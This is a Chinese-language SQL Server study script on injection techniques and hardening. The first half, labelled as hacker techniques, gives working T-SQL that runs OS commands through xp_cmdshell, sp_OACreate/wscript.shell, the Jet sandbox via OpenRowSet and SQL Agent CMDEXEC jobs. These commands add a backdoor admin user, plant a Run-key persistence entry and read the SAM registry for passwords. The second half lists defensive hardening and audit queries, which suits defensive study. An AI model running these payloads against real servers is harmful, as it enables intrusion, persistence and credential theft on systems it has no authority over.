1 --sqlserver注入方式与安全防护的学习
2 --http://www.cnblogs.com/chillsrc/archive/2008/12/10/1346054.html
3 --初级黑客
4 EXEC master..xp_cmdshell 'dir'
5 EXEC master..xp_cmdshell 'net user'
6
7 --中级黑客
8 --1) 利用OLE对象接口
9 --SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
10 --可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。
11 --shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
12
13 DECLARE @shell INT
14 EXEC SP_OAcreate 'wscript.shell',@shell out
15 EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'
16
17 -- 2) 开启access的沙盒模式
18 --在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,
19 --但是开启了JET引擎的沙盒模式后就可以执行命令,
20 --先利用xp_regwrite存储过程改写注册表,
21 --然后利用 OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。
22
23 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',3
24
25 -- SandBoxmode值说明
26 -- 默认值为2, win7默认值为1
27 -- 0--表示始终禁用SandBoxmode模式,
28 -- 1--表示对于非Acess应用程序试用SandBoxmode模式,
29 -- 2--表示对access应用程序使用SandBoxmode模式,
30 -- 3--则表示完全开启安全设置。 始终使用SandBoxmode模式
31
32 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hack hack /add")')
33
34
35 -- 3) 利用xp_regxxxxx之类的存储过程写注册表项
36 -- 这个方法只有sa账户或是sysadmin权限的帐户才可以使用.
37 --执行exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY\SAM\Domains\Account'', ''F''
38 -- 如果碰到一个粗心的管理员,说不定就能得到管理员的密码.
39 -- 加一个启动项什么的自然不在话下。
40 --利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
41 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ',
42 'C:\windows\system32\cmd.exe /c net user hack hack /add'
43
44 -- 如果有必要就把这些扩展都删除了
45 --Xp_regaddmultistring (向注册表中增加项目)
46 --Xp_regdeletekey (从注册表中删除一个键)
47 --Xp_regdeletevalue (从注册表中删除一个键值)
48 --Xp_regenumvalues (列举主键下的键值)
49 --Xp_regread (读去一个主键下的键值)
50 --Xp_regremovemultistring (从注册表中删除项目)
51 --Xp_regwrite (向注册表中写入数据)
52
53
54 --4 ) 利用SQL代理执行命令
55 --默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。
56
57 exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
58 use msdb
59 exec sp_delete_job null,'x'
60 exec sp_add_job 'x'
61 EXEC [dbo].[sp_add_jobstep] @job_id = NULL, -- uniqueidentifier
62 @job_name ='x', -- sysname
63 @step_id = NULL, -- int
64 @step_name = '1', -- sysname
65 @subsystem = N'CMDEXEC', -- nvarchar(40)
66 @command = N'cmd /c Dir C:\' -- nvarchar(max)
67
68 EXEC [dbo].[sp_add_jobserver] @job_id = NULL, -- uniqueidentifier
69 @job_name = 'x', -- sysname
70 @server_name = @@servername exec sp_start_job 'x' -- sysname
71
72
73
74
75
76
77 --三、其他获取系统信息
78
79 -- 历遍目录
80 exec master.dbo.xp_dirtree 'c:\'
81 -- 获取子目录
82 exec master.dbo.xp_subdirs 'c:\'
83 -- 列举可用的系统分区
84 exec master.dbo.xp_availablemedia
85 -- 判断目录或文件是否存在 1:存在 0:不存在
86 exec master..xp_fileexist 'c:\boot.ini'
87 exec master..xp_fileexist 'c:\hwscore.txt'
88
89
90 --高级黑客
91 --高级黑客技术只在少部分人中传播,
92
93
94 ----------------------------------------防御--------------------------------------------------------------------------
95 --五、防御SQL注入的一些要点与方法
96 -- 1. 确认已经安装了windows操作系统和SQL Server的最新补丁程序。
97 -- 2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异构的环境中使用。
98 --说明:如果可能请除去不需要的网络协议。
99 --3. 给 "sa" 和具有"sysadmin"权限的帐户设定强壮的密码来加强其安全性。至于什么是强壮的密码呢,个人认为是字母、数字、特殊字符的组合,不少八位字符。
100 --4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。
101 -- 这个低权限的帐户应该只有最小的权限和限制这个帐户对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给予多余的权限。
102 -- 注意:当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的权限处理。
103
104 --5. 确定所有的SQL服务器数据,而且系统文件是装置在 NTFS 分区,且"目录访问控制"被应用。
105 -- 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
106
107 --6.如果你不需要 xp_cmdshell 那请停用它。如果需要的话再把它增加回来。
108 -- 其实这也好也不好 ————一个侵入者如果发现它不在了,也只需要把他加回来。考虑一下,可以除去在下面的dll但是移除之前必须测试因为有些dll同时被一些程序所用。
109 -- 要找到其他的程序是否使用相同的 dll请进行以下步骤:
110 -- 首先得到该 dll:
111 select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'
112 -- 其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll:
113 select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'
114 -- 用户可以用同样的办法处理下面步骤中其他你想去掉的进程。
115
116 --7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些存储过程如下:
117 --功能的外围应用配置器:OLE自动化 ,启用OLE自动化,OLE自动化扩展存储过程(XP)允许TSQL批处理,存储过程,触发器引用自定义OLE
118 --自动化对象
119 -- sp_OACreate
120 -- sp_OADestroy
121 -- sp_OAGetErrorInfo
122 -- sp_OAGetProperty
123 -- sp_OAMethod
124 -- sp_OASetProperty
125 -- sp_OAStop
126 -- 如果你决定停用这些存储过程,那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。
127
128
129
130
131 --8. 禁用你不需要的注册表存储过程。(同上面的警告)这些包括:
132 -- xp_regaddmultistring
133 -- xp_regdeletekey
134 -- xp_regdeletevalue
135 -- xp_regenumvalues
136 -- xp_regremovemultistring
137 -- 注意 :xp_regread/ xp_regwrite这两个存储过程的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐
138
139
140 --9.移除其他你认为会造成威胁的系统储存过程。 这种存储过程是相当多的,而且他们也会浪费一些cpu时间。
141 -- 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。
142 --在下面是我们所推荐的有待你评估的一些列表:
143 -- sp_sdidebug
144 -- xp_availablemedia
145 -- xp_cmdshell
146 -- xp_deletemail
147 -- xp_dirtree
148 -- xp_dropwebtask
149 -- xp_dsninfo
150 -- xp_enumdsn
151 -- xp_enumerrorlogs
152 -- xp_enumgroups
153 -- xp_enumqueuedtasks
154 -- xp_eventlog
155 -- xp_findnextmsg
156 -- xp_fixeddrives
157 -- xp_getfiledetails
158 -- xp_getnetname
159 -- xp_grantlogin
160 -- xp_logevent
161 -- xp_loginconfig
162 -- xp_logininfo
163 -- xp_makewebtask
164 -- xp_msver xp_perfend
165 -- xp_perfmonitor
166 -- xp_perfsample
167 -- xp_perfstart
168 -- xp_readerrorlog
169 -- xp_readmail
170 -- xp_revokelogin
171 -- xp_runwebtask
172 -- xp_schedulersignal
173 -- xp_sendmail
174 -- xp_servicecontrol
175 -- xp_snmp_getstate
176 -- xp_snmp_raisetrap
177 -- xp_sprintf
178 -- xp_sqlinventory
179 -- xp_sqlregister
180 -- xp_sqltrace
181 -- xp_sscanf
182 -- xp_startmail
183 -- xp_stopmail
184 -- xp_subdirs
185 -- xp_unc_to_drive
186 -- xp_dirtree
187
188
189 --10. 除去数据库的guest账户,这样可以把未经许可的使用者排除在外。
190 -- 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
191
192 --11. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans(特洛伊木马),
193 --病毒或是简单实现一个DDOS攻击成为可能
194
195 --12. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
196 -- xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3
197 -- 服务器属性->安全性->登录审核 ->失败和成功的登录
198
199
200 --13. 建立一个计划的任务运行:
201 --然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。
202 -- 这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三方工具。
203 --注意: 你可能需要将路径换成你安装SQL的路径。
204
205
206
207
208 --14. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息
209 -- ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 ,
210 --发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
211
212
213
214
215 --15. 经常检查组或角色全体成员并且确定用户组分配权限,这样你的审计工作能够简化。 确定当你在的时候 ,
216 -- 公众的组不能从系统表执行选择操作。
217
218
219
220 --16. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
221 select password ,[loginname],[dbname] , * from syslogins where password is null order by name
222
223
224 --17. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限:
225 Use master
226 select sysobjects.name from sysobjects,sysprotects where sysprotects.uid=0 AND xtype in('X','P')
227 AND sysobjects.id=sysprotects.id
228 Order by name
229
230
231 --18. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模式中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模式,密码也会留在注册表中。
232
233 --sql 2000:
234 --使用 regedit 而且检查键:
235 -- HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group
236 -- ("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)
237
238
239 --sql 2005已经没有在注册表中写sqlew这个键了.
240
241
242 --19. 制定一个安全审核计划,每月的一份安全报告,对IT主管可用的报表包括新的开发内容中进行的数据库修改,成功的攻击 ,
243 --备份保护 , 和对象存取失败统计。
244
245
246 --20. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。